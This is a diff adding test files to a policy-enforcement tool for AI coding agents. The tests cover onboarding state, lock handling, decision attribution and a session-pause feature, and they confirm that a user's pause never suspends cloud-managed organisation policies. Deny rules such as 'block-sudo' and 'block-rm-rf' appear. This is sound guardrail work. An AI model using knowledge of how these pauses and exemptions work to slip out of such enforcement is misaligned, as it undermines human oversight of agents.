process.env.FAILPROOFAI_HOME = prevHome; + rmSync(home, { recursive: true, force: true }); +}); + +const probe = (over: Partial = {}): RetryProbe => ({ + canElevate: () => false, + daemonStatus: () => "not-installed", + cliVersion: "1.0.0", + ...over, +}); + +const attempt = (over: Partial = {}): OnboardingAttempt => ({ + schemaVersion: 1, + reason: "needs_root", + cliVersion: "1.0.0", + daemonStatus: "not-installed", + at: 1, + ...over, +}); + +describe("recording an attempt", () => { + it("round-trips the reason and the state it was made in", () => { + recordOnboardingAttempt("needs_root", "1.2.3", "not-installed", 42); + expect(readOnboardingAttempt()).toEqual({ + schemaVersion: 1, + reason: "needs_root", + cliVersion: "1.2.3", + daemonStatus: "not-installed", + at: 42, + }); + }); + + it("creates state/ rather than assuming it", () => { + // The abort happens before anything else has written to the home, so on a + // genuinely fresh machine this directory does not exist yet. + expect(existsSync(dirname(onboardingAttemptFile()))).toBe(false); + recordOnboardingAttempt("cancelled", "1.0.0", "running"); + expect(readOnboardingAttempt()?.reason).toBe("cancelled"); + }); + + it("is cleared once setup completes", () => { + recordOnboardingAttempt("needs_root", "1.0.0", "not-installed"); + clearOnboardingAttempt(); + expect(readOnboardingAttempt()).toBeNull(); + }); + + it("clearing is safe when there is nothing to clear", () => { + expect(() => clearOnboardingAttempt()).not.toThrow(); + }); +}); + +describe("a record that cannot be trusted", () => { + function writeRaw(contents: string) { + mkdirSync(dirname(onboardingAttemptFile()), { recursive: true }); + writeFileSync(onboardingAttemptFile(), contents, "utf8"); + } + + it("reads corrupt JSON as no record, never as configured", () => { + // Degrading to "offer the wizard" is the safe direction; degrading to + // "this machine is set up" would silently leave it unprotected. + writeRaw("{not json"); + expect(readOnboardingAttempt()).toBeNull(); + }); + + it("ignores a record from a future schema", () => { + writeRaw(JSON.stringify({ schemaVersion: 99, reason: "needs_root", cliVersion: "1" })); + expect(readOnboardingAttempt()).toBeNull(); + }); + + it("ignores a record missing its required fields", () => { + writeRaw(JSON.stringify({ schemaVersion: 1, at: 5 })); + expect(readOnboardingAttempt()).toBeNull(); + }); +}); + +describe("THE INVARIANT: an attempt never means configured", () => { + it("a recorded failure leaves the machine unconfigured", () => { + // The single most important property here. A failed attempt must keep + // reading as unconfigured to `--status`, to the hook path, and to the + // wizard when asked for by name — it only suppresses the unprompted offer. + recordOnboardingAttempt("needs_root", "1.0.0", "not-installed"); + + const state = detectSetupState(home, home); + expect(state.hasGlobalConfig).toBe(false); + expect(state.hasLegacyMarker).toBe(false); + + // `hasGlobalHooks` is pinned rather than read. `detectSetupState` takes an + // injectable home and its docstring promises "every path is derived from + // an injectable home/cwd" — but `hasGlobalHooksInstalled()` takes no home + // and walks the REAL user's settings files, so this assertion flipped the + // moment a developer had failproofai hooks installed on their own machine. + // Neutralising it here keeps the test about the attempt record, which is + // what it is for; the injectability gap is a separate problem. + expect(isConfigured({ ...state, hasGlobalHooks: false })).toBe(false); + }); +}); + +describe("needs_root — the common case", () => { + it("stays blocked while elevation is still impossible", () => { + expect(blockerCleared(attempt({ reason: "needs_root" }), probe({ canElevate: () => false }))) + .toBe(false); + }); + + it("clears the moment sudo works", () => { + // The exact case this exists for: someone hits the prompt, gives up, and + // comes back later able to elevate. A hint that never became an offer + // again would be its own kind of broken. + expect(blockerCleared(attempt({ reason: "needs_root" }), probe({ canElevate: () => true }))) + .toBe(true); + }); +}); + +describe("daemon_failed", () => { + it("stays blocked while the service manager says the same thing", () => { + expect( + blockerCleared( + attempt({ reason: "daemon_failed", daemonStatus: "not-installed" }), + probe({ daemonStatus: () => "not-installed" }), + ), + ).toBe(false); + }); + + it("clears on ANY movement, not only on `running`", () => { + // A partially-repaired machine must be offered setup again rather than + // waiting for a state it cannot reach without the wizard's help. + for (const now of ["stopped", "running", "unsupported-platform"]) { + expect( + blockerCleared( + attempt({ reason: "daemon_failed", daemonStatus: "not-installed" }), + probe({ daemonStatus: () => now }), + ), + now, + ).toBe(true); + } + }); + + it("also clears when elevation becomes possible", () => { + // An install that failed for want of root is reported as daemon_failed by + // some paths and needs_root by others; both remedies are the same. + expect( + blockerCleared( + attempt({ reason: "daemon_failed", daemonStatus: "not-installed" }), + probe({ daemonStatus: () => "not-installed", canElevate: () => true }), + ), + ).toBe(true); + }); +}); + +describe("cancelled — a deliberate stop", () => { + it("does not re-offer on the very next command", () => { + // Re-asking immediately is exactly the nagging this removes. + expect( + blockerCleared(attempt({ reason: "cancelled", cliVersion: "1.0.0" }), probe({ cliVersion: "1.0.0" })), + ).toBe(false); + }); + + it("asks once more after an upgrade", () => { + // A new version is a new thing to say, and the only event that justifies + // reopening something the user deliberately closed. + expect( + blockerCleared(attempt({ reason: "cancelled", cliVersion: "1.0.0" }), probe({ cliVersion: "1.1.0" })), + ).toBe(true); + }); +}); + +describe("reasons that are properties of the invocation, not the machine", () => { + it("re-offers for not_a_tty and running_as_sudo", () => { + for (const reason of ["not_a_tty", "running_as_sudo"] as const) { + expect(blockerCleared(attempt({ reason }), probe()), reason).toBe(true); + } + }); + + it("re-offers for a reason it does not recognise", () => { + // A blocker we cannot prove is still present must not silently withhold + // setup — the safe direction is offering it. + expect( + blockerCleared(attempt({ reason: "something-new" as never }), probe()), + ).toBe(true); + }); +}); + +describe("what the user is told", () => { + it("names the reason and the one command that fixes it", () => { + const text = attemptHintLines(attempt({ reason: "needs_root" })).join("\n"); + expect(text).toContain("root"); + expect(text).toContain("failproofai config"); + }); + + it("has a line for every reason, so none renders as a bare sentence", () => { + for (const reason of [ + "needs_root", + "daemon_failed", + "cancelled", + "not_a_tty", + "running_as_sudo", + ] as const) { + const text = attemptHintLines(attempt({ reason })).join("\n"); + expect(text, reason).toContain("Setup is not finished"); + expect(text, reason).not.toContain("undefined"); + } + }); +}); diff --git a/__tests__/hooks/onboarding-lock.test.ts b/__tests__/hooks/onboarding-lock.test.ts new file mode 100644 index 00000000..0e503f4a --- /dev/null +++ b/__tests__/hooks/onboarding-lock.test.ts @@ -0,0 +1,93 @@ +import { describe, it, expect, beforeEach, afterEach } from "vitest"; +import { mkdtempSync, rmSync, mkdirSync, writeFileSync, existsSync, readFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { resolve, dirname } from "node:path"; +import { acquireOnboardingLock, onboardingLockPath } from "../../src/hooks/onboarding-lock"; + +let home: string; + +beforeEach(() => { + home = mkdtempSync(resolve(tmpdir(), "fpai-onboard-lock-")); +}); + +afterEach(() => { + rmSync(home, { recursive: true, force: true }); +}); + +/** A PID that is almost certainly not a live process. */ +const DEAD_PID = 0x7fffffff; + +function writeLock(pid: number) { + mkdirSync(dirname(onboardingLockPath(home)), { recursive: true }); + writeFileSync(onboardingLockPath(home), JSON.stringify({ pid, startedAt: Date.now() })); +} + +describe("acquireOnboardingLock", () => { + it("takes the lock on a clean machine and writes this process's pid", () => { + const lock = acquireOnboardingLock(home); + expect(lock).not.toBeNull(); + const body = JSON.parse(readFileSync(onboardingLockPath(home), "utf8")); + expect(body.pid).toBe(process.pid); + lock!.release(); + }); + + it("refuses when another LIVE process holds it", () => { + // The concurrency this exists for: two terminals, both unconfigured, both + // reaching onboarding. Only one may draw a wizard. + writeLock(process.ppid && process.ppid !== process.pid ? process.ppid : 1); + expect(acquireOnboardingLock(home)).toBeNull(); + }); + + it("reclaims a lock whose holder is gone", () => { + // A crash or Ctrl-C mid-wizard must not lock the machine out of setup + // forever — which is exactly what a timestamp-and-timeout lock risks, + // since the holder here is a human who may sit on a question for an hour. + writeLock(DEAD_PID); + const lock = acquireOnboardingLock(home); + expect(lock).not.toBeNull(); + lock!.release(); + }); + + it("reclaims a lock file that was truncated mid-write", () => { + mkdirSync(dirname(onboardingLockPath(home)), { recursive: true }); + writeFileSync(onboardingLockPath(home), "{not json"); + const lock = acquireOnboardingLock(home); + expect(lock).not.toBeNull(); + lock!.release(); + }); + + it("is re-entrant for the same process", () => { + // Our own pid in the file must never deadlock a later call in the same + // process. + writeLock(process.pid); + const lock = acquireOnboardingLock(home); + expect(lock).not.toBeNull(); + lock!.release(); + }); + + it("removes the file on release, and tolerates a double release", () => { + const lock = acquireOnboardingLock(home)!; + lock.release(); + expect(existsSync(onboardingLockPath(home))).toBe(false); + expect(() => lock.release()).not.toThrow(); + }); + + it("does not delete a lock that a different process has since taken", () => { + // If this process were evicted as dead and another wizard took over, + // releasing must not pull the rug out from under the new holder. + const lock = acquireOnboardingLock(home)!; + writeLock(DEAD_PID); // someone else's lock now occupies the path + lock.release(); + expect(existsSync(onboardingLockPath(home))).toBe(true); + }); + + it("declines rather than throwing when the home is unwritable", () => { + // Failure direction matters: an un-takeable lock must read as "held", so + // the caller skips onboarding and still runs the user's command. + const unwritable = resolve(home, "nope"); + mkdirSync(unwritable, { recursive: true }); + // A file where the .failproofai directory needs to be. + writeFileSync(resolve(unwritable, ".failproofai"), "not a directory"); + expect(acquireOnboardingLock(unwritable)).toBeNull(); + }); +}); diff --git a/__tests__/hooks/policy-attribution.test.ts b/__tests__/hooks/policy-attribution.test.ts new file mode 100644 index 00000000..dd2767b4 --- /dev/null +++ b/__tests__/hooks/policy-attribution.test.ts @@ -0,0 +1,228 @@ +// @vitest-environment node +/** + * Attribution on the activity row. + * + * The design doc's requirement is that Failproof Cloud can tie a decision to + * the exact rollout that produced it. Until now the only trace of a revision + * was a substring of a display name ("cloud/org-guard@7/…"), which nothing can + * query and which re-parsing our own label would be the only way to read. + */ +import { describe, it, expect, vi, beforeEach } from "vitest"; + +vi.mock("../../src/hooks/hooks-config", () => ({ + readMergedHooksConfig: vi.fn(() => ({ enabledPolicies: ["block-sudo"] })), +})); +vi.mock("../../src/hooks/builtin-policies", () => ({ registerBuiltinPolicies: vi.fn() })); +vi.mock("../../src/hooks/policy-registry", () => ({ + clearPolicies: vi.fn(), + registerPolicy: vi.fn(), + getPoliciesForEvent: vi.fn(() => []), +})); +vi.mock("../../src/hooks/custom-hooks-loader", () => ({ loadAllCustomHooks: vi.fn() })); +vi.mock("../../src/hooks/cloud-managed-policies", () => ({ readActiveCloudManagedPolicies: vi.fn(() => []) })); +vi.mock("../../src/hooks/hook-activity-store", () => ({ persistHookActivity: vi.fn() })); +vi.mock("../../src/hooks/policy-evaluator", () => ({ evaluatePolicies: vi.fn() })); +vi.mock("../../src/hooks/hook-telemetry", () => ({ + trackHookEvent: vi.fn(() => Promise.resolve()), + flushHookTelemetry: vi.fn(() => Promise.resolve()), +})); +vi.mock("../../lib/telemetry-id", () => ({ getInstanceId: vi.fn(() => "test-id") })); +vi.mock("../../src/hooks/hook-logger", () => ({ + hookLogInfo: vi.fn(), hookLogWarn: vi.fn(), hookLogError: vi.fn(), +})); + +import { evaluateHookEvent } from "../../src/hooks/handler"; +import { loadAllCustomHooks } from "../../src/hooks/custom-hooks-loader"; +import { readActiveCloudManagedPolicies } from "../../src/hooks/cloud-managed-policies"; +import { persistHookActivity } from "../../src/hooks/hook-activity-store"; +import { evaluatePolicies } from "../../src/hooks/policy-evaluator"; +import { registerPolicy } from "../../src/hooks/policy-registry"; + +const hook = (name: string, extra: Record = {}) => + Object.assign( + { name, description: "", match: {}, fn: async () => ({ decision: "allow" }) }, + extra, + ); + +const CLOUD = { id: "org-guard", revision: 7, sha256: "a".repeat(64), path: "/x.mjs", generation: 184 }; + +function decidedBy(policyName: string | null, decision: "allow" | "deny" = "deny") { + vi.mocked(evaluatePolicies).mockReturnValue({ + exitCode: 0, stdout: "", stderr: "", policyName, reason: null, decision, + } as never); +} + +const stdin = JSON.stringify({ session_id: "s", cwd: "/tmp/p", tool_name: "Bash", tool_input: {} }); +const row = () => vi.mocked(persistHookActivity).mock.calls[0][0]; + +beforeEach(() => { + vi.clearAllMocks(); + vi.mocked(readActiveCloudManagedPolicies).mockReturnValue([]); + vi.mocked(loadAllCustomHooks).mockResolvedValue({ hooks: [], conventionSources: [] } as never); + decidedBy(null, "allow"); +}); + +describe("policy attribution", () => { + it("marks a builtin decider as builtin — absence from the map is meaningful", async () => { + decidedBy("block-sudo"); + await evaluateHookEvent("PreToolUse", "claude", stdin); + expect(row().policySource).toBe("builtin"); + expect(row().cloudPolicyId).toBeUndefined(); + }); + + it("marks a local custom decider", async () => { + vi.mocked(loadAllCustomHooks).mockResolvedValue({ + hooks: [hook("guard", { __policyId: "custom:/p.mjs:guard" })], conventionSources: [], + } as never); + decidedBy("custom/guard"); + await evaluateHookEvent("PreToolUse", "claude", stdin); + expect(row().policySource).toBe("custom"); + }); + + it("marks a convention decider", async () => { + vi.mocked(loadAllCustomHooks).mockResolvedValue({ + hooks: [hook("guard", { __conventionScope: "project" })], conventionSources: [], + } as never); + decidedBy(".failproofai-project/guard"); + await evaluateHookEvent("PreToolUse", "claude", stdin); + expect(row().policySource).toBe("convention"); + }); + + it("attributes a cloud decision to its exact policy id and revision", async () => { + vi.mocked(readActiveCloudManagedPolicies).mockReturnValue([CLOUD] as never); + vi.mocked(loadAllCustomHooks).mockResolvedValue({ + hooks: [hook("org-guard", { __cloudManaged: CLOUD })], conventionSources: [], + } as never); + decidedBy("cloud/org-guard@7/org-guard"); + await evaluateHookEvent("PreToolUse", "claude", stdin); + expect(row().policySource).toBe("cloud"); + expect(row().cloudPolicyId).toBe("org-guard"); + expect(row().cloudRevision).toBe(7); + expect(row().cloudGeneration).toBe(184); + }); + + it("records the active generation even when a LOCAL policy decided", async () => { + // "What was deployed here" is a different question from "what decided" — + // and only the former separates a rollout that changed no outcomes from + // one that never reached the machine. + vi.mocked(readActiveCloudManagedPolicies).mockReturnValue([CLOUD] as never); + vi.mocked(loadAllCustomHooks).mockResolvedValue({ + hooks: [hook("local", { __policyId: "custom:/p.mjs:local" })], conventionSources: [], + } as never); + decidedBy("custom/local"); + await evaluateHookEvent("PreToolUse", "claude", stdin); + expect(row().policySource).toBe("custom"); + expect(row().cloudGeneration).toBe(184); + expect(row().cloudPolicyId).toBeUndefined(); + }); + + it("leaves attribution off entirely on a plain allow, where nothing decided", async () => { + await evaluateHookEvent("PreToolUse", "claude", stdin); + expect(row().policySource).toBeUndefined(); + expect(row().cloudRevision).toBeUndefined(); + }); + + it("omits the generation on an unmanaged machine rather than writing 0", async () => { + // A literal 0 would read as "generation zero is deployed"; absent reads as + // "not managed", which is the truth. + decidedBy("block-sudo"); + await evaluateHookEvent("PreToolUse", "claude", stdin); + expect(row().cloudGeneration).toBeUndefined(); + }); +}); + +describe("filtering by source", () => { + it("selects only rows the named source decided, and excludes unattributed ones", async () => { + const { _resetForTest, persistHookActivity: persist, searchHookActivity } = + await vi.importActual( + "../../src/hooks/hook-activity-store", + ); + const { mkdtempSync, rmSync } = await import("node:fs"); + const { tmpdir } = await import("node:os"); + const { resolve } = await import("node:path"); + const dir = mkdtempSync(resolve(tmpdir(), "fpai-attr-")); + _resetForTest(dir); + try { + const base = { eventType: "PreToolUse", toolName: "Bash", reason: null, durationMs: 1 }; + persist({ ...base, timestamp: 1, policyName: "block-sudo", decision: "deny", policySource: "builtin" }); + persist({ ...base, timestamp: 2, policyName: "cloud/org@7/g", decision: "deny", policySource: "cloud" }); + // Written before attribution existed — must not be guessed into a bucket. + persist({ ...base, timestamp: 3, policyName: "legacy", decision: "deny" }); + + const cloud = searchHookActivity({ source: "cloud" }, 1); + expect(cloud.entries.map((e) => e.policyName)).toEqual(["cloud/org@7/g"]); + const builtin = searchHookActivity({ source: "builtin" }, 1); + expect(builtin.entries.map((e) => e.policyName)).toEqual(["block-sudo"]); + expect(searchHookActivity({}, 1).entries).toHaveLength(3); + } finally { + _resetForTest(); + rmSync(dir, { recursive: true, force: true }); + } + }); +}); + +describe("observe mode", () => { + const OBSERVED = { ...CLOUD, effect: "observe" as const }; + + /** The fn the handler actually registered for a given policy name. */ + async function registeredFn(namePart: string) { + const call = vi.mocked(registerPolicy).mock.calls.find(([n]) => String(n).includes(namePart)); + expect(call, `no policy registered matching ${namePart}`).toBeDefined(); + return call![2] as (ctx: unknown) => Promise<{ decision: string }>; + } + + it("runs the policy for real but discards its verdict", async () => { + // Evaluating and discarding IS the feature. A policy that did not actually + // run would measure nothing about the rollout being trialled. + let ran = false; + vi.mocked(readActiveCloudManagedPolicies).mockReturnValue([OBSERVED] as never); + vi.mocked(loadAllCustomHooks).mockResolvedValue({ + hooks: [{ + name: "org-guard", description: "", match: {}, + fn: async () => { ran = true; return { decision: "deny", reason: "would block" }; }, + __cloudManaged: OBSERVED, + }], + conventionSources: [], + } as never); + + await evaluateHookEvent("PreToolUse", "claude", stdin); + const result = await (await registeredFn("org-guard"))({}); + + expect(ran).toBe(true); + expect(result.decision).toBe("allow"); + }); + + it("still lets an ENFORCING cloud policy act", async () => { + vi.mocked(readActiveCloudManagedPolicies).mockReturnValue([CLOUD] as never); + vi.mocked(loadAllCustomHooks).mockResolvedValue({ + hooks: [{ + name: "org-guard", description: "", match: {}, + fn: async () => ({ decision: "deny", reason: "blocked" }), + __cloudManaged: { ...CLOUD, effect: "enforce" }, + }], + conventionSources: [], + } as never); + + await evaluateHookEvent("PreToolUse", "claude", stdin); + const result = await (await registeredFn("org-guard"))({}); + expect(result.decision).toBe("deny"); + }); + + it("records an observed deny as allow when the policy throws", async () => { + // A policy that times out or throws is an ALLOW in enforce mode, so observe + // mode must record it as one — not as a would-deny that never was. + vi.mocked(readActiveCloudManagedPolicies).mockReturnValue([OBSERVED] as never); + vi.mocked(loadAllCustomHooks).mockResolvedValue({ + hooks: [{ + name: "org-guard", description: "", match: {}, + fn: async () => { throw new Error("boom"); }, + __cloudManaged: OBSERVED, + }], + conventionSources: [], + } as never); + + await evaluateHookEvent("PreToolUse", "claude", stdin); + const result = await (await registeredFn("org-guard"))({}); + expect(result.decision).toBe("allow"); + }); +}); diff --git a/__tests__/hooks/session-pause-cli.test.ts b/__tests__/hooks/session-pause-cli.test.ts new file mode 100644 index 00000000..0a21552c --- /dev/null +++ b/__tests__/hooks/session-pause-cli.test.ts @@ -0,0 +1,135 @@ +import { describe, it, expect, vi, beforeEach, afterEach } from "vitest"; +import { mkdtempSync, rmSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { resolve } from "node:path"; + +vi.mock("../../src/hooks/hooks-config", () => ({ readMergedHooksConfig: vi.fn(() => ({ enabledPolicies: [] })) })); +vi.mock("../../src/hooks/hook-activity-store", () => ({ getAllHookActivityEntries: vi.fn(() => []) })); + +import { runPauseCommand, effectiveCeilingMs } from "../../src/hooks/session-pause-cli"; +import { readActivePause, writePause, PAUSE_CEILING_MS } from "../../src/hooks/session-pause"; +import { readMergedHooksConfig } from "../../src/hooks/hooks-config"; +import { getAllHookActivityEntries } from "../../src/hooks/hook-activity-store"; + +let stateDir: string; +const NOW = 1_000_000_000; + +beforeEach(() => { + vi.clearAllMocks(); + vi.mocked(readMergedHooksConfig).mockReturnValue({ enabledPolicies: [] } as never); + vi.mocked(getAllHookActivityEntries).mockReturnValue([]); + stateDir = mkdtempSync(resolve(tmpdir(), "fpai-pausecli-")); + process.env.FAILPROOFAI_STATE_DIR = stateDir; +}); + +afterEach(() => { + delete process.env.FAILPROOFAI_STATE_DIR; + rmSync(stateDir, { recursive: true, force: true }); +}); + +describe("effectiveCeilingMs", () => { + // The three tests that stood here asserted a config lowering that could not + // happen: `readMergedHooksConfig` builds its result field by field and never + // emits `maxPauseMs`, so the lookup always read `undefined`. They passed only + // because they `vi.mock`ed that function to return a field the real one + // cannot produce — a mock asserting against itself. The knob is gone. + it("is the hard ceiling, and nothing lowers it", () => { + expect(effectiveCeilingMs()).toBe(PAUSE_CEILING_MS); + }); +}); + +describe("--pause", () => { + it("refuses, rather than guessing, when no session can be resolved", () => { + // Pausing the wrong session leaves the user believing enforcement is off + // when it is on. Guessing is worse than failing. + const r = runPauseCommand({ action: "pause", cwd: "/tmp/project", now: NOW }); + expect(r.exitCode).toBe(1); + expect(r.lines.join("\n")).toMatch(/No recent agent session found/); + expect(r.lines.join("\n")).toMatch(/--session /); + }); + + it("pauses the newest session seen in this directory", () => { + vi.mocked(getAllHookActivityEntries).mockReturnValue([ + { timestamp: NOW - 5_000, sessionId: "older", cwd: "/tmp/project" }, + { timestamp: NOW - 1_000, sessionId: "newest", cwd: "/tmp/project" }, + { timestamp: NOW - 500, sessionId: "elsewhere", cwd: "/tmp/other" }, + ] as never); + const r = runPauseCommand({ action: "pause", cwd: "/tmp/project", now: NOW }); + expect(r.exitCode).toBe(0); + expect(readActivePause("newest", NOW)).not.toBeNull(); + expect(readActivePause("elsewhere", NOW)).toBeNull(); + }); + + it("ignores sessions older than the lookback window", () => { + vi.mocked(getAllHookActivityEntries).mockReturnValue([ + { timestamp: NOW - 48 * 3_600_000, sessionId: "ancient", cwd: "/tmp/project" }, + ] as never); + expect(runPauseCommand({ action: "pause", cwd: "/tmp/project", now: NOW }).exitCode).toBe(1); + }); + + it("honours an explicit --session without consulting activity at all", () => { + const r = runPauseCommand({ action: "pause", sessionId: "explicit", cwd: "/tmp/project", now: NOW }); + expect(r.exitCode).toBe(0); + expect(readActivePause("explicit", NOW)).not.toBeNull(); + }); + + it("defaults to 30m and accepts an explicit duration", () => { + runPauseCommand({ action: "pause", sessionId: "s1", cwd: "/tmp/p", now: NOW }); + expect(readActivePause("s1", NOW)!.expiresAt).toBe(NOW + 30 * 60_000); + runPauseCommand({ action: "pause", duration: "10m", sessionId: "s2", cwd: "/tmp/p", now: NOW }); + expect(readActivePause("s2", NOW)!.expiresAt).toBe(NOW + 600_000); + }); + + it("reports a bad duration as an error and writes nothing", () => { + const r = runPauseCommand({ action: "pause", duration: "12h", sessionId: "s1", cwd: "/tmp/p", now: NOW }); + expect(r.exitCode).toBe(1); + expect(r.lines.join("\n")).toMatch(/exceeds the maximum pause/); + expect(readActivePause("s1", NOW)).toBeNull(); + }); + + it("always says the pause expires on its own, and that cloud keeps enforcing", () => { + const out = runPauseCommand({ action: "pause", sessionId: "s1", cwd: "/tmp/p", now: NOW }).lines.join("\n"); + expect(out).toMatch(/resumes at/); + expect(out).toMatch(/Cloud-managed policies keep enforcing/); + }); +}); + +describe("--resume", () => { + it("clears the resolved session's pause", () => { + writePause({ sessionId: "s1", durationMs: 600_000, now: NOW }); + const r = runPauseCommand({ action: "resume", sessionId: "s1", cwd: "/tmp/p", now: NOW }); + expect(r.exitCode).toBe(0); + expect(readActivePause("s1", NOW)).toBeNull(); + }); + + it("is a no-op, not an error, when nothing is paused", () => { + const r = runPauseCommand({ action: "resume", sessionId: "s1", cwd: "/tmp/p", now: NOW }); + expect(r.exitCode).toBe(0); + expect(r.affected).toBe(0); + }); + + it("--all clears every active pause", () => { + writePause({ sessionId: "s1", durationMs: 600_000, now: NOW }); + writePause({ sessionId: "s2", durationMs: 600_000, now: NOW }); + const r = runPauseCommand({ action: "resume", all: true, cwd: "/tmp/p", now: NOW }); + expect(r.affected).toBe(2); + expect(readActivePause("s1", NOW)).toBeNull(); + expect(readActivePause("s2", NOW)).toBeNull(); + }); +}); + +describe("--status", () => { + it("says so plainly when nothing is paused", () => { + const r = runPauseCommand({ action: "status", cwd: "/tmp/p", now: NOW }); + expect(r.lines.join("\n")).toMatch(/Enforcement is active/); + }); + + it("lists active pauses with time remaining, and omits expired ones", () => { + writePause({ sessionId: "live", durationMs: 600_000, now: NOW }); + writePause({ sessionId: "dead", durationMs: 1_000, now: NOW - 60_000 }); + const out = runPauseCommand({ action: "status", cwd: "/tmp/p", now: NOW }).lines.join("\n"); + expect(out).toMatch(/live/); + expect(out).not.toMatch(/dead/); + expect(out).toMatch(/10m left/); + }); +}); diff --git a/__tests__/hooks/session-pause-enforcement.test.ts b/__tests__/hooks/session-pause-enforcement.test.ts new file mode 100644 index 00000000..990afa04 --- /dev/null +++ b/__tests__/hooks/session-pause-enforcement.test.ts @@ -0,0 +1,151 @@ +// @vitest-environment node +/** + * What a pause actually does to evaluation. The load-bearing assertion is the + * cloud one: if a locally-issued pause could suspend a centrally assigned + * policy, cloud enforcement would be decorative and any user could opt out of + * their organization's controls with one command. + */ +import { describe, it, expect, vi, beforeEach, afterEach } from "vitest"; +import { mkdtempSync, rmSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { resolve } from "node:path"; + +vi.mock("../../src/hooks/hooks-config", () => ({ + readMergedHooksConfig: vi.fn(() => ({ enabledPolicies: ["block-sudo", "block-rm-rf"] })), +})); +vi.mock("../../src/hooks/builtin-policies", () => ({ registerBuiltinPolicies: vi.fn() })); +vi.mock("../../src/hooks/policy-evaluator", () => ({ + evaluatePolicies: vi.fn(() => ({ + exitCode: 0, stdout: "", stderr: "", policyName: null, reason: null, decision: "allow", + })), +})); +vi.mock("../../src/hooks/policy-registry", () => ({ + clearPolicies: vi.fn(), + registerPolicy: vi.fn(), + getPoliciesForEvent: vi.fn(() => []), +})); +vi.mock("../../src/hooks/custom-hooks-loader", () => ({ loadAllCustomHooks: vi.fn() })); +vi.mock("../../src/hooks/hook-activity-store", () => ({ persistHookActivity: vi.fn() })); +vi.mock("../../src/hooks/hook-telemetry", () => ({ + trackHookEvent: vi.fn(() => Promise.resolve()), + flushHookTelemetry: vi.fn(() => Promise.resolve()), +})); +vi.mock("../../lib/telemetry-id", () => ({ getInstanceId: vi.fn(() => "test-instance-id") })); +vi.mock("../../src/hooks/hook-logger", () => ({ + hookLogInfo: vi.fn(), hookLogWarn: vi.fn(), hookLogError: vi.fn(), +})); + +import { evaluateHookEvent } from "../../src/hooks/handler"; +import { registerBuiltinPolicies } from "../../src/hooks/builtin-policies"; +import { registerPolicy } from "../../src/hooks/policy-registry"; +import { loadAllCustomHooks } from "../../src/hooks/custom-hooks-loader"; +import { persistHookActivity } from "../../src/hooks/hook-activity-store"; +import { writePause } from "../../src/hooks/session-pause"; + +const SESSION = "session-under-test"; + +let stateDir: string; + +function stdinPayload(sessionId = SESSION): string { + return JSON.stringify({ + session_id: sessionId, + cwd: "/tmp/project", + tool_name: "Bash", + tool_input: { command: "echo hi" }, + }); +} + +/** One ordinary local policy and one cloud-assigned policy, as the loader tags them. */ +function twoHooks() { + return Promise.resolve({ + hooks: [ + Object.assign( + { name: "local-guard", description: "", match: {}, fn: async () => ({ decision: "allow" }) }, + { __policyId: "custom:/tmp/p.mjs:local-guard" }, + ), + Object.assign( + { name: "org-guard", description: "", match: {}, fn: async () => ({ decision: "allow" }) }, + { + __policyId: "cloud:org-guard@7:org-guard", + __cloudManaged: { id: "org-guard", revision: 7, sha256: "a".repeat(64), path: "/x.mjs", generation: 4 }, + }, + ), + ], + conventionSources: [], + }); +} + +beforeEach(() => { + vi.clearAllMocks(); + stateDir = mkdtempSync(resolve(tmpdir(), "fpai-pause-enf-")); + process.env.FAILPROOFAI_STATE_DIR = stateDir; + vi.mocked(loadAllCustomHooks).mockImplementation(twoHooks as never); +}); + +afterEach(() => { + delete process.env.FAILPROOFAI_STATE_DIR; + rmSync(stateDir, { recursive: true, force: true }); +}); + +const registeredNames = () => vi.mocked(registerPolicy).mock.calls.map((c) => c[0] as string); + +describe("session pause and evaluation", () => { + it("with no pause, builtins and every custom policy register normally", async () => { + await evaluateHookEvent("PreToolUse", "claude", stdinPayload()); + expect(registerBuiltinPolicies).toHaveBeenCalledWith(["block-sudo", "block-rm-rf"]); + const names = registeredNames(); + expect(names.some((n) => n.includes("local-guard"))).toBe(true); + expect(names.some((n) => n.includes("org-guard"))).toBe(true); + }); + + it("a pause suspends builtins", async () => { + writePause({ sessionId: SESSION, durationMs: 600_000 }); + await evaluateHookEvent("PreToolUse", "claude", stdinPayload()); + expect(registerBuiltinPolicies).toHaveBeenCalledWith([]); + }); + + it("a pause suspends local custom policies but NOT cloud-managed ones", async () => { + writePause({ sessionId: SESSION, durationMs: 600_000 }); + await evaluateHookEvent("PreToolUse", "claude", stdinPayload()); + const names = registeredNames(); + expect(names.some((n) => n.includes("local-guard"))).toBe(false); + expect(names.some((n) => n.includes("org-guard"))).toBe(true); + }); + + it("a pause on another session does not affect this one", async () => { + writePause({ sessionId: "some-other-session", durationMs: 600_000 }); + await evaluateHookEvent("PreToolUse", "claude", stdinPayload()); + expect(registerBuiltinPolicies).toHaveBeenCalledWith(["block-sudo", "block-rm-rf"]); + expect(registeredNames().some((n) => n.includes("local-guard"))).toBe(true); + }); + + it("an expired pause enforces again, with nothing to clean up first", async () => { + writePause({ sessionId: SESSION, durationMs: 1_000, now: Date.now() - 60_000 }); + await evaluateHookEvent("PreToolUse", "claude", stdinPayload()); + expect(registerBuiltinPolicies).toHaveBeenCalledWith(["block-sudo", "block-rm-rf"]); + expect(registeredNames().some((n) => n.includes("local-guard"))).toBe(true); + }); + + it("records the pause on the activity row, so the log cannot imply a clean window", async () => { + const pause = writePause({ sessionId: SESSION, durationMs: 600_000, setBy: "cli" }); + await evaluateHookEvent("PreToolUse", "claude", stdinPayload()); + const entry = vi.mocked(persistHookActivity).mock.calls[0][0]; + expect(entry.pausedBy).toBe("cli"); + expect(entry.pauseExpiresAt).toBe(pause.expiresAt); + }); + + it("leaves no pause markers on an ordinary row", async () => { + await evaluateHookEvent("PreToolUse", "claude", stdinPayload()); + const entry = vi.mocked(persistHookActivity).mock.calls[0][0]; + expect(entry.pausedBy).toBeUndefined(); + expect(entry.pauseExpiresAt).toBeUndefined(); + }); + + it("an event with no session id is never treated as paused", async () => { + // Several CLIs omit session_id on some events. Matching a pause loosely + // there would silently disable enforcement for unrelated traffic. + writePause({ sessionId: SESSION, durationMs: 600_000 }); + await evaluateHookEvent("PreToolUse", "claude", JSON.stringify({ cwd: "/tmp/project", tool_name: "Bash" })); + expect(registerBuiltinPolicies).toHaveBeenCalledWith(["block-sudo", "block-rm-rf"]); + }); +}); diff --git a/__tests__/hooks/session-pause.test.ts b/__tests__/hooks/session-pause.test.ts new file mode 100644 index 00000000..9ef3c008 --- /dev/null +++ 